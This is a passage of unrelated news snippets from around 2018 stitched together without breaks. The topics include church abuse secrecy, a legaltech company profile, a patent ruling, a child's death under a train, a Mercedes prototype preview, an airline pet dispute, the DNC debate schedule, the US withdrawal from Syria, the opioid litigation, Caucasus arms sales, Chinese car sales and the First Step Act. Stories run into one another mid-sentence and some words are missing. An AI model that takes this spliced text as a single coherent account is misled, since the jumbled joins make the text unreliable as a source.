priests. As the scale of the churchs abuse problem becomes more widely known, its secrecy repeatedly impedes attempts to levy any sort of secular justice. The Pennsylvania dioceses also kept abuse complaints in a secret archive, as I previously reported for The New Republic, and the bishop had the only key. A recent Reveal investigation found that Jesuits housed abusive priests in a privately owned facility on the campus of Gonzaga University for decades, without the knowledge of the student body or Gonzaga administrators. At least 20 of those priests had sexually abused Native Alaskans for decades, shuffled from isolated village to isolated village until the volume of complaints became too loud to ignore. And while some dioceses have voluntarily released the names of some credibly accused priests, in Illinois, at least, they apparently kept most accusations hidden from public view. None of this is very surprising secrecy is rather integral to a cover-up but it does call the churchs commitment to reform into question. On Tuesday, the Vatican itself admitted that both the scandal, and the churchs response to it, threaten to undermine the credibility of the church. Pope Francis, meanwhile, is scheduled to convene an abuse prevention summit in February, but some survivors told the Associated Press that they lack confidence in the churchs commitment to justice. Theyre just now getting around to this? Good Lord, whereve you been? one survivor, Barbara Dorris, said in an interview with the AP. Ahern also pointed out that InfoTrack is now a service-based business with an integrated platform of more than 30 practice-management systems, including a title-search service. The company, which started out as a title-search provider 18 years ago, has heavily invested in understanding client workflow and building a tailored platform for lawyers and conveyancers, he said. Our unique value is our legaltech capability, over 4,500 products offered on the one platform, our industry expertise, incredible team of staff and excellent customer service, Ahern said. These days we are an integrated service and workflow provider and not a title-search provider. We worked out a long time ago that clients dont like to rekey data, misplace searches and that integration to the law firms and conveyancers billing systems is essential. InfoTrack, despite strong competition, will continue its focus on delivering value to their 8,800 clients, he said. The exchange of land is a complicated issue and requires conveyancers in the process to make it more efficient. We rely on our clients to tell us what they need so we innovate and build new services to better support them. Over the past 12 months, we have on-boarded an additional 1,000 law firms and conveyancers, which highlights that firms see value in our competitive offerings, he said. MinterEllison has secured a major victory for its client, Alphapharm, in resisting an interlocutory injunction made by French pharmaceutical giant Sanofi in a high stakes battle in the Federal Court. Sanofi launched proceedings against Alphapharm in the Federal Court in August asserting that an insulin glargine injector pen product Alphapharm proposed to launch in Australia would infringe Sanofi Deutschlands patent for an injector pen device. This decision is highly significant for Alphapharm and the entire pharmaceutical industry, as it represents one of the very few Australian pharmaceutical patent cases where an application for an interlocutory injunction has been refused. said Robert Cooper, MinterEllison partner. This wasnt the first time it happened, either. While Joy Frances Collins seemed to have made a habit out of putting her kids at risk , this time, it was different: her 8-year-old daughter got scared and didnt get out from under the train fast enough, so she was run over.According to Dyer, the train was idle for a mere 12 seconds. The tragedy could have been prevented if Collins had waited just a while longer, but she seemed convinced her kids would miss the bus. So she instructed them to crawl under the train, while shouting at them to Hurry up.The boy went first and got out the other side safely, but the girl got spooked. That brief hesitation ended up costing her her life: Dyer says she was pinned under the train and dragged for about 500 feet. She was pronounced dead at the scene.Collins was arrested and is facing the charge of child neglect causing death.A mother placed her daughter in a position where she could be seriously injured or killed, and thats what we have to look at, Dyer said at the press conference. We have a responsibility to hold that person accountable.Upon being encouraged by the mother to cross the track, [the girl] too made her way underneath the rail car and attempted to get to the other side, Dyer continued. We know that [the mother] is hurting. I hope people understand that there is a balance that we have to achieve in law enforcement. No one last night wanted to arrest the mother for this crime but the law is the law. PHEV EV AMG AWD And it looks so crisp and fresh, a complete reimagining of what a compact RWD sedan is supposed to look like. If we were to reference other brands, the Lexus LS would be the closest thing to the W206, with its sporty roofline, wide stance and pronounced wheel arch design.The new C-Class prototype is still fully camouflaged and even has plastic inserts over the hood to hide its lines. However, we can easily spot a new LEd headlight design and some strange new frontal features. For example, it appears that parking sensors are sitting inside the grille. Around the back, we spot loner taillights like the ones on the CLS III, as well as a streamlined diffuser.The new C-Class is said to be lighter thanks to increased use of aluminum and other materials. It's also going to feature a slightly longer wheelbase and tracks. The streamlined exterior design is aimed at making the body as slippery as possible with a rumored drag coefficient of 0.25.Even though the new C-Class looks complete, Mercedes takes testing quite seriously, the W206 has about 18 more months of it to do. By then, all powertrains will have some form of hybrid assist, and since many European cities are going to ban diesel completely, Mercedes will have no choice but to focus on something else. That "something" includes awith up to 70 km ofrange.When it comes to thedepartment, we have a bad feeling something terrible will happen to the V8. For as long as we can remember, the hot C-Class had the best sounding V8s in the segment, but it just doesn't make sense to offer something so big. While rumors have stated the C63 will get about 600 horsepower and, you just have to look at the CLS-Class to see the future of the brand, and that's inline-6 motors.Lastly, we have to mention that most of the tech for the next C-Class will come out first in the W223 S-Class . That includes more autonomous systems and an MBUX infotainment that perhaps uses a different screen layout. Lanice Powless has had Cassie, a pink male beta fish since her junior year in college, when she would often feel alone. She traveled with him all over the country, she says, and she never had any issues bringing him on board a plane, as a carry-on.That changed last week, she tells USA Today , as she was preparing to board a flight from Denver to San Diego. Though TSA allows passengers to travel with live fish in water and a clear transparent container, Southwest Airlines only accepts cats and dogs in the cabin.Because shes never had issues with taking Cassie with her, Lanice didnt think to check Southwests pet policy. She arrived to board the plane and was told she wouldnt be able to take the fish with her; shocked at the news, she asked the gate agent to allow her to leave Cassie on the desk for half an hour, until a friend of hers came to pick him up. Lanice says she was denied.By this point, she was desperate, so she started asking people flying with other companies if they were allowed to take fish as carry-on. She saw an older lady behind her and she said she would take Cassie, so she gave him away.Once they were through, Lanice claims, security tagged her and the other woman all the way to their respective planes, acting as if theyd brought something dangerous into the airport. She believes they thought they would make the exchange after theyd passed security.I dont know where my fish is at. I dont know if they allowed her to take it, Lanice adds.In a statement to the same media outlet, Southwest Airlines claims they offered Lanice the possibility to leave on a later flight so she would have time to make arrangements for her fish to remain in Denver. Lanice denies it and shes furious at how the company handled the matter.Everyones laughing at me. Yes, its a fish. I know, she says. But dang, it was my pet.Dang, indeed. Just a tiny fraction of the 2020 Democratic field. Photo: Getty Images The Democratic National Committee is preparing for a 2020 free-for-all or, at least, preparing to be in position to try and manage it. With more than 30 Democrats looking seriously at presidential runs some likely to kick off in the next few weeks party chairman Tom Perez on Thursday laid out a preliminary plan for the primary debates that makes clear the committees role will be to walk a thin line: getting the eventual nominee as much positive exposure as possible, while avoiding slighting any candidates and turning the central Democratic infrastructure itself into a target of grassroots scorn yet again. And the timeline and debate parameters outlined by Perez suggest the party is readying itself for the possibility of a months-long, candidate-packed melee. Which is only fair, considering the breadth of potential contenders. The basic debate schedule itself acknowledges the likely massive field, and the potential for a drawn-out scrap for delegates that will ultimately determine the nomination. Perez said the first debate will be held in June 2019 earlier than Republicans late-summer kickoff in 2015 and the last one is scheduled for April 2020 deep into the primary calendar, once the early-voting states and Super Tuesday have passed, and by which point the field is (usually) much winnowed. Perhaps not this time. Overall, however, the arrangement reveals a studied attempt to avoid the challenges that plagued the party in 2016, starting with an effective promise of the DNCs neutrality from the start. Then, Bernie Sanders and, earlier, Martin OMalley railed against the DNC and its chair at the time, Florida congresswoman Debbie Wasserman Schultz, for putting their finger on the scale for Hillary Clinton with a limited debate schedule that was only eventually expanded from its original six. This time, Perez said, there will be 12 debates to start. Mary Beth Cahill, a senior adviser to the DNC and John Kerrys 2004 campaign manager, said she had consulted with former candidates and campaign figures to formulate this plan, but no prospective 2020 contenders thereby minimizing the perception of bias in favor of any candidate. This is the first step in an orderly and transparent debate process, insisted Perez, unprompted, on a call with reporters. Perez and his team have held more than 80 meetings over the course of many months with a variety of individuals who have knowledge of and experience with the debate process, assures the ensuing DNC press release. Its also clear that the DNC is trying to avoid the business of deciding who counts as a serious contender. While the field is large, each early debate will be split over two consecutive nights, said Perez, with the candidates divided randomly. That avoids the varsityjunior varsity feel of the GOP proceedings last time around. And instead of just using polling to gauge support, especially so early in the process, the committee said it will also use other measures like grassroots fundraising levels as part of the baseline criteria for making it onstage in the first place. (Theyre still working out the full set of criteria for the first debates; thatll be officially announced next month.) The new outline also apparently nods to the reality that serious candidates will likely have to be running full-scale national campaigns rather than single-state organizations in order to be viable. Six of the debates will be held in 2019, and six are planned for 2020; none of the first batch will be held in the early-voting states (Iowa, New Hampshire, Nevada, and South Carolina). And, wary of the criticism that the debates were held over weekends and in low-viewership hours in the last cycle, Perez insisted he planned to work with the television networks to find maximum eyeball hours. The more voters that see our candidates, the more voters will vote for Democrats, he said. Its all an exercise in trying to prove good faith and confident competence after the most bruising election in the committees recent history. The DNCs implied bet is that its attempt to prove its finger is far from the scale will keep the focus on the candidates. The dozens and dozens of candidates. Leaders are responding to President Trump's decision to pull 2,000 U.S. troops out of Syria, including Russian President Vladimir Putin, who said he supports the move, and the country's European allies, who are still concerned of the ongoing threat of the Islamic State, or ISIS. The big picture from Axios' Dave Lawler: Trump claimed on Twitter Thursday morning that Russia and Iran are "not happy" that the U.S. is withdrawing troops, because "they will have to fight ISIS and others, who they hate, without us." But that's not true. The move solidifies them as the dominant players in the country, and the key arbiters for a future resolution of the conflict which will almost certainly see their ally, Syrian President Bashar al-Assad, remain in power. In a series of Thursday morning tweets, Trump declared victory over the Islamic State and defended that his decision in Syria should be "no surprise" given he's been "campaigning on it for years. What foreign leaders are saying: Go deeper: President Trumps recent decision to withdraw the approximately 2,000 U.S. troops stationed in Syria signals that Washington is unwilling to challenge Iran in a theater of conflict that the Islamic Republic has invested heavily in for more than seven years. This will have significant consequences for Middle East security as well as the success of the administrations Iran policy. The big picture: Washington is currently in the throes of a maximum pressure campaign against Iran. But absent a military strategy to counter Irans support for regional destabilization, it will be relying on sanctions alone to change Iranian behavior which is no easy task. Background: According to Ambassador James Jeffrey, The U.S. cannot dictate events in Syria, but by its presence can contest Irans (and Russias) freedom of action. Tehran has stood by the Bashar al-Assad regime since the beginning of the war in Syria, marshaling countless Shiite militiamen as well as members of the Islamic Revolutionary Guard Corps to fight and die there. Iran is also trying to create a land bridge from Tehran to the Mediterranean, where it can more easily project power and transport men, money and munitions into war zones. Whats next: Iranian officials have refrained from their traditional hyperbole in the immediate aftermath of the presidents announcement, but that may soon change. It is unknown what the fate of the U.S. strategy to counter Iran in Syria which was recently reported to be economic will be. The bottom line: As Irans risk tolerance in the region grows, the Trump administration has undercut its own Iran policy by seeking to withdraw U.S. troops from Syria. This compounds the message of irresolution sent earlier this year by removing missile defenses and closing down diplomatic facilities. While Iran contemplates its response to reimposed sanctions, those who favor escalation against the U.S. will cite this American move as proof of weakness and seek to press their advantage. Behnam Ben Taleblu is a research fellow at the Foundation for Defense of Democracies. Senate Majority Leader Mitch McConnell once again blocked a bill proposed by Sen. Jeff Flake (R-Ariz.) that would protect special counsel Robert Mueller from being fired by President Trump, the Washington Examiner reports. Why it matters: Flake has been pushing for weeks to get the bill passed, vowing to vote no on any judicial nominees Trump pushes forward until the bill is voted on. He was rejected twice in November. McConnell maintains that the president has given no indication that the investigation won't be completed. The problem with President Trumps decision to withdraw U.S. troops from Syria lies not so much with the decision itself as with the hasty manner in which it was made. Why it matters: Trump first shared the news in a phone call with President Erdogan, leaving the State Department stunned, the Pentagon unprepared and the U.S. Kurdish allies in Syria alarmed and betrayed. By failing to prepare the ground, Trump risks weakening the Kurds hand, exposing them to attack, and reviving ISIS. The administration had justified the U.S. presence in Syria with three objectives: To roll back Iranian influence: From the outset, this aim was unattainable: Iran is deeply entrenched in Syria, and the suggestion that a few thousand U.S. troops could dislodge it was always derisory. To fully defeat ISIS: This is a more achievable goal, though it arguably need not require U.S. troops on the ground, and an open-ended U.S. presence was neither wise nor sustainable. However, ISIS is adept at exploiting disorder, and if the U.S. withdrawal leads to a military free-for-all in the northeast (involving Kurdish, Syrian and Turkish forces), it could use the ensuing chaos to stage a comeback. Protect Syrian Kurds from Ankara and Damascus: This is the most practically and morally important objective. Kurdish forces had fought ISIS at Washingtons behest and were relying on the U.S. presence to deter a potential Turkish or Syrian regime offensive. Indeed, Washington had discouraged them from reaching a deal with Damascus aimed at ensuring their protection, claiming there was no need. Now, Kurdish forces will have to rush to negotiate an agreement with the regime from a far weaker bargaining position. Should the U.S. depart in the absence of a Kurdish understanding with either Damascus or Ankara, the Kurds could face an assault by one or both. Whats next: If Trump does not once more reverse course, his and his administrations priority should be to pressure Turkey not to attack, and to provide the Kurds with the necessary space and time to reach a deal with Damascus that restores Syrian sovereignty over the northeast, places Syrian forces at the Turkish border, and grants Kurds protection and a degree of self-rule. Robert Malley is president and CEO of the International Crisis Group. An Ohio district court judge's procedural ruling in the national opioids lawsuit Wednesday has big implications because it could open up opioid makers, drug distributors and others to face serious charges in court. Why it matters: The plaintiffs various cities, counties and states are suing the health care companies for their role in the opioid epidemic. Yesterday's ruling, in which the judge denied health care companies' motion to dismiss the lawsuit, may increase the amount of money at stake, which would go toward the fallout from the epidemic. "It is accurate to describe the opioid epidemic as a man-made plague, 20 years in the making. The pain, death, and heartache it has wrought cannot be overstated," Judge Dan Polster said in the ruling. While the judge sustained nearly all of the legal theories on which the plaintiffs are suing the opioid companies, 2 are particularly important, according to Joe Rice, one of the plaintiff's lead attorneys. The plaintiffs are suing under the Racketeer Influenced and Corrupt Organizations Act. If the plaintiffs win on this charge, the companies would have to pay for the damage caused. The plaintiffs are also allowed to proceed on a "public nuisance" claim. If the defendants are found liable, Rice says, they would have to cure or abate the nuisance putting them on the hook for even more money. Purdue Pharma, one of the defendants and the one named on yesterday's ruling, declined to comment. We don't know yet whether this case will go to trial or whether the parties will eventually settle. But the seriousness of the charges will inevitably affect that calculation. "I think this makes the case much easier to try," Rice says. Go deeper: Where the national opioids lawsuit could be headed Critical race theory is an academic framework that examines systemic racism in the U.S. legal system. Richard Delgado, the son of a Mexican immigrant, helped develop the framework five decades ago. Why it matters: CRT is under attack by some conservatives who falsely claim the graduate school-level concepts are being taught in elementary and high schools. But not only is CRT routinely misunderstood, the Latino contributions to the field also are overlooked. More than three months ago, Russian President Vladimir Putin's national security adviser Nikolai Patrushev gave his Israeli counterpart a document. It contained an unofficial proposal for a deal between the U.S. and Russia on Syria and Iran intended to start a wider dialogue between Washington and Moscow to improve relations, two Israeli officials with direct knowledge tell me. Why it matters: The Russian proposal would have tied a U.S. withdrawal from Syria to an Iranian exit from the country, and provided the U.S. and Israel more influence over a future political settlement in Syria. However, it also called for a freeze on U.S. sanctions on Iran something Netanyahu found unacceptable. Ultimately, the U.S. gave up much of its leverage in Syria with President Trump's surprise announcement Wednesday of a unilateral withdrawal. Background: Last month, I reported that Netanyahu told a closed door hearing at the Knesset that Russia proposed a deal for pushing Iranian forces out of Syria in return for relief from some U.S. sanctions against Iran. We now know that Netanyahu's comments referred to a document called the "Patrushev Paper." The Patrushev Paper was given to Israel in a meeting that took place in Moscow on Sept. 13 four days before the downing of a Russian military plane in Syria that kicked off a deep crisis between Israel and Russia. The two Israeli officials told me Russia's proposal was that Israel would act as a facilitator between the U.S. and Russia and encourage the White House to start a dialogue with the Kremlin on Syria and Iran as an opening for a wider bilateral discussion. "They asked us to open the gates for them in Washington," one Israeli official told me. Details: The Israeli officials who saw the "Patrushev Paper" said it included these main points ... Freezing the U.S. plan for reimposing economic sanctions on Iran in November as part of the U.S. withdrawal from the Iran nuclear deal. A Russian commitment to push Iranian and pro-Iranian forces out of Syria. A withdrawal of U.S. forces from Syria, mainly from the Al-Tanf base. The opening of a dialogue between the U.S. and Russia on the issue of Iran. Using the U.S.-Russian dialogue on Syria and Iran to expand their dialogue on other bilateral relations. What happened: The Israeli officials told me Netanyahu rejected the proposals in the Patrushev Paper because he thought the reimposition of U.S. sanctions on Iran could be used as leverage on the Iranians over Syria not the other way around. "For Netanyahu, stopping the Iranian nuclear program was above everything else, and this is why he refused to show any flexibility on the issue of U.S. sanctions," one Israeli official told me. A second Israeli official told me that, if Israel didn't reject the Russian proposal, it might have been able to ensure that any U.S. decision to pull out of Syria would be part of a deal on the Iranian presence in the country not merely a unilateral move. Go deeper: Mexico's newly inaugurated president, Andres Manuel Lopez Obrador (AMLO), may have just scored a big political victory after a rocky start to his tenure. The U.S. State Department announced yesterday its intention to deliver $5.8 billion in aid and investment to Central America to stem the tide of migrants flocking toward the U.S. border. Why it matters: AMLO has worked energetically since taking office to sell the White House on a "Marshall Plan" of support to address the region's growing migrant crisis. The U.S. commitment is a preliminary sign that he's at least being heard. While much of the support falls under existing commitments, Mexico's foreign minister welcomed it as "good news for Mexico." The big picture: Upon taking office, the Mexican president was caught between an irresistible force and an immovable object. To his south, people fleeing poverty and violence in Central America have been crossing Mexicos porous southern border on their way to the United States. To his north, President Trump has made tightening border security his No. 1 domestic political issue. AMLO didnt want to antagonize Mexicos main trading partner by letting more migrants pass through. AMLO, who is grappling with a high crime rate and strained resources at home, also recognizes that taking in migrants creates its own set of political headaches. Asylum requests in Mexico have increased more than tenfold over the past five years, reaching 14,544 in 2018. Those numbers were expected to rise even further after AMLOs administration committed to take in asylum-seekers who have cases currently pending in the U.S. While he campaigned as a compassionate voice on immigration, Mexicos new left-wing leader spied the need for a grand solution. The U.S. funding will contribute to a $30 billion aid package envisioned by AMLO. AMLO even dangled the prospect of Chinese investment to bring Trump to the table, according to the NY Times reasoning that the U.S. might be more willing to pay up if it feared that China might try to expand its influence in the region by opening its wallet. For context, Beijing is already a big investor and trading partner in the more prosperous parts of Latin America. While a quixotic idea to build a canal through Nicaragua hasnt really gone anywhere, China has been investing in infrastructure in some smaller Central American markets. Its also offered carrots to regional governments to get them to drop diplomatic recognition of Taiwan in favor of Beijing. The bottom line: Whatever the motivation for the U.S. decision, the support for Mexicos investment and aid program is an important boost for AMLO just a few weeks into his term. Sign up for Signal, a thrice-weekly newsletter from GZERO Media, a Eurasia Group company. Countries selling weapons to Azerbaijan contribute to an arms race that fuels instability in the region, the Armenian Foreign Ministry said on Thursday. What is business for some is a deadly instrument for our people, the ministry spokeswoman, Anna Naghdalian, told reporters. Naghdalian cited Foreign Minister Zohrab Mnatsakanians recent calls for OSCE member states to reconsider arms deals with Azerbaijan. She did not name any of those countries, saying only that Yerevan believes the arms race in the region must be stopped. Russia has long been Azerbaijans leading arms supplier despite its military alliance with Armenia. Baku has also purchased significant amounts of military hardware from Belarus, another member of the Russian-led Collective Security Treaty Organization (CSTO). Those include Polonez surface-to-surface missiles that have a firing range of up to 200 kilometers. Belarusian President Alexander Lukashenko last week bluntly dismissed Armenian complains about his regimes arms deals with Azerbaijan. He said Yerevan should first raise its concerns with the Russians because they have sold a much larger number of offensive weapons to Baku. Russia is also the principal source of weapons provided to the Armenian military. Membership in the CSTO allows Armenia to acquire Russian-made weapons at discounted prices or even for free. By Leman Mammadova The State Tourism Agency and the Astrakhan region of the Russian Federation signed a cooperation agreement. The signing took place within the framework of the meeting between the Governor of the Astrakhan region of the Russian Federation Sergey Morozov and the Chairman of the State Tourism Agency Fuad Naghiyev, the Agency told AZERTAC. The parties agreed on a number of issues to develop long-term and constructive relations in the field of tourism. The two discussed the importance of restoring flights between the cities of Baku and Astrakhan to boost tourism relations. They also touched upon the implementation of a cruise project in the Caspian Sea. The meeting aimed to promote tourist products of both parties and facilitate tourism exchange between Azerbaijan and the Astrakhan region. An agreement has been reached between the parties to benefit from joint tourism programs and projects and developing direct cooperation between tour operators. At present, the project of a cruise between the Caspian countries, that will boost tourism and transit potential of the littoral states, is at the development stage. Approximate commissioning of the liner is scheduled for next year. At the first stage, trips will be organized on the Astrakhan-Baku route, and, then, the route will be further expanded until 2020. Azerbaijan is one of the main economic partners of Russia among the CIS countries. The trade turnover between two countries amounted to $2.14 billion in 2017. Azerbaijan invested more than $1 billion in the Russian economy, and Russia invested about $4 billion in the economy of Azerbaijan. At present, enterprises of 71 regions of the Russian Federation cooperate directly with Azerbaijan. Fifteen regions of Russia have relevant agreements with Azerbaijan on trade and economic, scientific, technical and cultural cooperation. Astrakhan is the center of the Astrakhan region of the Russian Federation. This city, named after Haji Tarkhan in the XIII-XIV centuries, became an important trading center on the seabed of the Volga River, located on the Silk Road in the Caspian Sea. Such a favorable geographical position allowed the old city to become the largest transportation hub of the entire Lower Volga region. Railway and air traffic, sea and river port of the Volga-Caspian basin made the city a frequently visited place not only in the list of connoisseurs of rich cultural heritage. The population of Astrakhan is multiethnic though it is mostly Russian. At present, Tatars, the main population of the region in the past, make up only 7 percent of the population. The main industry in the city is fuel-energy sector. The Azerbaijan-Russia Bridge of Friendship was inaugurated in Astrakhan, Russia in 2012. The opening of the business center of Azerbaijan, built on the initiative of the Heydar Aliyev Foundation, took place in the Russian city of Astrakhan this year to introduce Made in Azerbaijan brand abroad. The interested Russian companies also have opportunity to conclude long-term contracts with specific suppliers from Azerbaijan. The Azerbaijani investors became the first foreign businessmen in Astrakhans Lotos special economic zone in 2017. Azerbaijans ATEF Group of Companies launched the construction of a plant for the production of electrical equipment in the special economic zone. The construction of an electrical equipment plant with $ 18 mln in investment is currently underway. --- Follow us on Twitter @AzerNewsAz Shanghai (Gasgoo)- China's vehicle sales in November reached 2,547,800 units, climbing 7.05% over a month ago, while presented year-on-year (YoY) decline of 13.86%, according to the data released by the China Association of Automobile Manufacturers (CAAM). For the first eleven months, the year-to-date (YTD) vehicle sales for the world's largest auto market edge down 1.65% from the year-ago period, showing YoY downturn the second time of the year. Gasgoo hereby summarizes the sales data released by several major Chinese automakers as usual. Annual sales outcomes for these carmakers are getting more and more clear with the new year approaching. SAIC Motor The top 3 subsidiaries by Nov. sales for SAIC Motor were still SAIC Volkswagen, SAIC GM and SAIC-GM-Wuling whose monthly sales all presented YoY downturn for the third month in a row. Apart from SAIC Motor PV, Naveco and Sunwin Bus, the other subsidiaries all faced negative YoY growth last month. SAIC Motor PV has maintained a blooming growth momentum this year. The Roewe i5, hitting the market on October 26, had a sales volume of 12,000 units in November. Besides, the sales of the MG HS SUV have exceeded 10,000 units after it went on sales at the end of September. In November, SAIC Volkswagen still achieved a positive month-on-month (MoM) sales growth of 10% despite its YoY decrease. Aside from such hotter-selling models as the Lavida and the Tiguan, the sales of the new-generation Passat reached nearly 17,000 units with a YoY jump of 22%. The Volkswagen Tharu SUV, launched by the joint venture on the last day of October, pushed the sales to a higher level to some degree. By the end of November, SAIC-GM has suffered YoY decrease for 6 straight months. Dongfeng Motor Group By the end of November, Dongfeng Motor Group has seen its YTD sales present YoY drop for five consecutive months. Meanwhile, the YoY drop has been increased to 6.68% in November from 0.24% in July. As to the Nov. sales, the automaker also suffered an obvious YoY decline of 20.25%. Certainly, as its sales mainstay, the PV business sector faced apparent downturn regarding both Nov. sales and Jan.-Nov. sales. Especially, the SUV sales in Nov. plunged 33.46% over a year ago. From the above table itemizing the sales data of each business unit, we can be noted that a large part of subsidiaries faced negative YoY sales growth last month. Dongfeng Honda's sales climbed 6.96% from the previous year, while the other major Sino-Japanese joint venture Dongfeng Nissan saw its Nov. sales slide 8.65%. Two Sino-French joint ventures Dongfeng Renault and DPCA met with striking YoY dip of 81.57% and 68.56% respectively. GAC Group GAC Motor boasted a YoY increase of 4.28% in year-to-date (YTD) sales. The sales driver Trumpchi GS4 had suffered substantial decline in the first half of the year under the fierce competition against such rivals as the Haval H6 and the Geely Boyue who promoted their change-over or facelift, while it saw the sales pick up after its facelift was launched in June. By the end of November, the sales of the Trumpchi GS4 have aggregated over 220,000 units. GAC Honda has completed 89.66% of its 750,000-unit yearly sales target. The Accord, the Fit and the CRIDER were quite popular with their sales amounting to 18,648 units, 11,442 units and 13,779 units last month. Besides, all three models achieved double-digit YoY increase in November sales, according to Honda's China sales report. The other two major Sino-Japanese joint venturesGAC Toyota and GAC Mitsubishi both accomplished double-digit YoY growth in Jan.-Nov. sales. As to CV arms, both GAC Hino and GAC BYD have fulfilled their original annual sales goal. Changan Automobile Changan Automobile announced that its Nov. sales tumbled 39.6% over a year earlier to 161,458 units, the seventh month in a row for the automaker to face year-on-year drop. The sales of Changan Automobile's self-owned brand amounted to 118,902 units in the past November among which 5,278 units were new energy vehicles. As to the performance of specific models in November, the sales of the CS55 and CS75 SUVs reached 15,777 units and 12,036 units respectively. The CS35 Series had a sales volume of 12,751 units. Meanwhile, a total of 9,343 EADO sedans were delivered last month. The automaker didnt reveal the sales of the Raeton sedans. Changan Ford saw its YTD sales halved over the previous year to 359,972 units. Changan Ford's annual sales peaked at around 957,000 units in 2016, yet failed to keep the rising momentum or even stay flat afterwards with its sales dropping 14% YoY to around 827,000 units in 2017. After compiled the sales data released by Changan Automobile each month, Gasgoo found out that Changan Ford has experienced YoY drop for 11 consecutive months from the beginning of 2018. Geely For the first eleven months, Geely saw its YTD sales jump 29% from the year-ago period to 1,407,505 units, completing 89% of the 1.58 million-unit annual sales target. There were a total of 9 models whose Nov. sales exceeded 10,000 units. However, apart from the Geely Binrui and the Binyue which hit the market on August 30 and October 31 respectively as well as the Vision X3, the other six models all presented YoY decline in monthly sales, among which the Emgrand, the all-new Vision, the Boyue, the Emgrand GS and the Vision SUV all had double-digit YoY decline. In spite of the negative growth of several sales drivers, Geely still accomplished positive YoY increase last month thanks to the favorable performance made by certain new models. The sales of Lynk & Co 01, 02 and 03 reached 5,302 units, 3,008 units and 4,011 units respectively last month. By the end of November, the premium car brand has delivered 114,629 vehicles this year. In addition, a total of 10,575 NEVs were sold by the automaker in November. Chery Holding Chery Holding posted an evident MoM sales growth of 16% with 73,910 vehicles sold in November, hitting a new high in monthly sales of the year, the group said. Last month, the group saw its NEV sales leap 86.7% year on year (YoY) to 11,382 units and export volume climb 5% over a year ago to 10,675 units. By the end of November in 2018, Chery Holding sold 669,573 vehicles in total, a YoY increase of 13.8%. It is worth mentioning that its cumulative export volume jumped 18.7% from a year ago to 118,017 units, which has already surpassed the total volume for 2017. The NEV is the fastest-growing business sector that gained a splendid YoY growth of 211.4% with 81,266 units sold through November. It is reported that Chery has formed its own NEV R&D system and expects to achieve a NEV sales volume exceeding 200,000 units by 2020. Great Wall Motor Up until now, Great Wall Motor (GWM) has completed 79.25% of its 1.16 million-unit annual sales goal. SUVs, the product sector GWM relies on most, had a sales volume of 117,769 units last month with a slight YoY growth of 0.08%. This was the fourth month in a row for WEY brand to see sales exceeding 10,000 units this year. It is worth mentioning that the Haval F Series obtained an impressive sales performance last month. The sales of the Haval F5, which was available for sale from September 26, evidently grew 12.77% compared with the previous month to 7,065 units. The Haval F7 gained a sales volume of 6,067 units within three weeks after hitting the market. GWM's pickup sales had surpassed 10,000 units for 4 consecutive months. The Wingle 7 boasting ICV features formally entered the market on November 7. The NEV brand ORA witnessed the sales of its first modelthe ORA iQ sedan leap 46.9% from a month ago to 1,043 units. The ORA R1the NEV brand's second model is going to hit the market on December 26. BYD Auto BYD Company Limited sold 50,982 vehicles in November, which made its YTD sales grow to 451,050 units. The PV sales in November reached 49,645 units, climbing 9% over a year earlier. Last month, BYD sold 20,906 fuel-burning vehicles, among which 3,781 units were cars, 7,093 units were SUVs and 10,032 units were MPVs. For the first eleven months, the company saw its fossil fuel-powered vehicle sales aggregate 249,889 units. The NEV sales in November were 30,076 units. A total of 28,739 new energy PVs were delivered last month with a significant YoY leap of 123%, of which the BEV sales and PHEV sales were 15,347 units and 13,392 units respectively. From January to November, BYD has already sold 201,161 NEVs in total. With regard to the Nov. sales of each model, the sales of the all-new BYD Tang SUV amounted to 10,152 units, surpassing 10,000 units for four straight months. The sales of the BYD Song MAX MPV reached 10,032 units, surpassing 10,000 units for the 13th month in a row. Besides, the all-new BYD Song compact SUV and the Yuan EV360 had monthly sales of 7,656 units and 6,188 units respectively. The sales of the BYD Qin family totaled 7,456 units in November. JAC Motors JAC Motors sold 36,062 vehicles in November with a YoY dip of 15.71%. With 431,157 vehicles delivered through November, the automakers YTD sales fell 8.24% from the year-over period. Last month, the sales of the SUV, MPV and sedan sectors slipped 27.81%, 24.84% and 17.98% YoY respectively to 6,634 units, 4,700 units and 4,602 units. Speaking of Jan.-to-Nov. sales, only the sedan sector attained a YoY increase of 32.79%, yet the other two PV sectors both had double-digit decline. Meanwhile, the export volume tumbled 34.5% in November compared with the same period a year ago. On the contrary, the cumulative volume by November jumped 21.05% to 72,363. Sales of all-electric PVs remarkably grew 38.83% to 7,858 units in November and its YTD sales reached 52,489 units, almost doubled over the year-ago period. Cory Booker, center, chats with Chuck Grassley and Mike Lee before they participate in a news conference on Capitol Hill in Washington, on prison reform legislation. Photo: Susan Walsh/AP/REX/Shutterstock In 1989, then-Senator Joe Biden went on TV to criticize President George H.W. Bushs National Drug Control Strategy. Bush was seeking to accelerate the War on Drugs by pumping over $1 billion into narcotics-related law enforcement, expanding the resources available to prosecutors, jails, and prisons, and harshening punishments for drug dealers. Biden argued that the president was not going far enough. Quite frankly, the presidents plan is not tough enough, bold enough or imaginative enough to meet the crisis at hand, he said, responding to Bushs speech outlining the plan that September. [It] does not include enough police officers to catch the violent thugs, enough prosecutors to convict them, enough judges to sentence them, or enough prison cells to put them away for a long time. Nearly 30 years later, Biden is an early front-runner for the 2020 Democratic presidential nomination. His party on Tuesday voted unanimously to pass the First Step Act through the Senate, partnering with all but 12 Senate Republicans to secure the biggest changes to the federal criminal-justice system in years. The most vocal of the 12 holdouts was Senator Tom Cotton, a tough on crime Arkansan who has made a habit of opposing reform using language strikingly similar to Senator Bidens. If anything, we have an under-incarceration problem, Cotton said in a 2016 speech at the Hudson Institute. Earlier this month, he castigated the First Step Act as criminal leniency legislation. Separated by three decades and a partisan gap that only seems to widen by the day, Senators Biden and Cotton nevertheless illustrate how interchangeable Democrats and Republicans have traditionally been on criminal-justice policy. When they were not busy one-upping each other to prove who could be more punitive, the parties have built strong bipartisan alliances atop the shared goal of locking people in cages, especially black people. The direction of this bipartisanship temporarily reversed this week with the First Step Act vote. Instead of worsening Americas mass incarceration crisis, Senators opted to make the experience of federal prison slightly less painful for inmates shortening mandatory-minimum sentences for some crimes and strengthening avenues for some incarcerated people to abbreviate their prison stints. But after decades spent normalizing the existence of the worlds largest concentration of prisoners, the Overton window regarding what substantive change in the United States actually looks like has shifted so far that even modest changes seem bold and ambitious. And even that assessment is generous: The jubilation and back-patting that has greeted Tuesdays Senate vote better reflects relief that interparty consensus is possible under President Donald Trump than the bills actual scope and impact. The limitations of the First Step Act are obvious on even a cursory glance. The American federal prison and jail populations which the bill 